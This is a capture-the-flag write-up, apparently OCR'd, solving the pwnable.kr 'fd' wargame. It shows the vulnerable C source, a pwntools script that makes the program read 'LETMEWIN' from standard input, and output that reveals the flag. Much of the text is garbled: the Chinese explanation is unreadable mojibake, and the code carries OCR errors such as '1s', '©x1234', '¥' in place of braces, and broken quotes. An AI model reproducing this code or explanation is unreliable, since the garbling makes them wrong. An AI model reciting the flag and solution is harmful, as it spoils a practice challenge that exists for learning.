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Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)
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Last login: Wed Jul 24 10:08:38 on console

=*» ~ ssh fd@pwnable.kr -p 2222

Warning: Permanently added the ED25519 host key for IP address '[128.61.240.205]:2222' to the list of known host
s.

fd@pwnable.kr's password:
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- Site admin : daehee87.kr@gmail.com
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue "source /usr/share/peda/peda.py” in gdb terminal
Last login: Tue Jul 23 23:28:48 2019 from 116.233.190.55
fd@prowl:~$ 1s
fd fd.c flag
fd@prowl:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1l] a number\n");

return 0;

¥

int fd = atoi( argv[1l] ) - ©x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\N", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

¥

printf("learn about Linux file IO\n");

return 0;

fd@prowl:~$

IR G R IE R BN AR AL, AN AE 115 X R A

Kt Fread MBI =N SHE B — N IR, KAEEAR: reade—NMTEHEEL v LA RMSCEFEL A 75 . read()
SRS HAd B 6 SO % count N 15 BlbuffE £ BT fe N /- . #5Z 8count’h0, Wiread Jy S brist BB 1754k, W LR ]
0, FRCENASCMREGE TS B I EE, Ao s A B S b s B 180

WLVER], A EHFEA SRR ASERMA AR, WfTHE, FrelAaELRaHK!
X B RAIAZEE 7] —4) what’s your problem?

fAIL s & SO R FFfile descriptorf4i s, i 0. 1. 20 BMRERARHERIN . FrEd B APRHERS R . FrDAX Bt snE 1, fdhiZz
WE N0, WAk



int fd = atoi( argv[1] ) - @x1234 //% Ne
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if(!strcmp("LETMEWIN\N", buf))
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#!/usr/bin/python

from pwn import *

s = ssh(host="pwnable.kr',user="fd"', password="guest"',port=2222)

p = s.process(['fd"', '4660'], './fd')

p.sendline('LETMEWIN")
print p.recv()
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pwn /usr/local/bin/python /Users/youssef/Desktop/pwn/passcode.py

+
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Connecting to pwnable.kr on port 2222: Done
fd@pwnable.kr:
Distro Ubuntu 16.04

—/
*
—_

0S: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled

[+] Starting remote process './fd' on pwnable.kr: pid 73531
good job :)
mommy! I think I know what a file descriptor is!!
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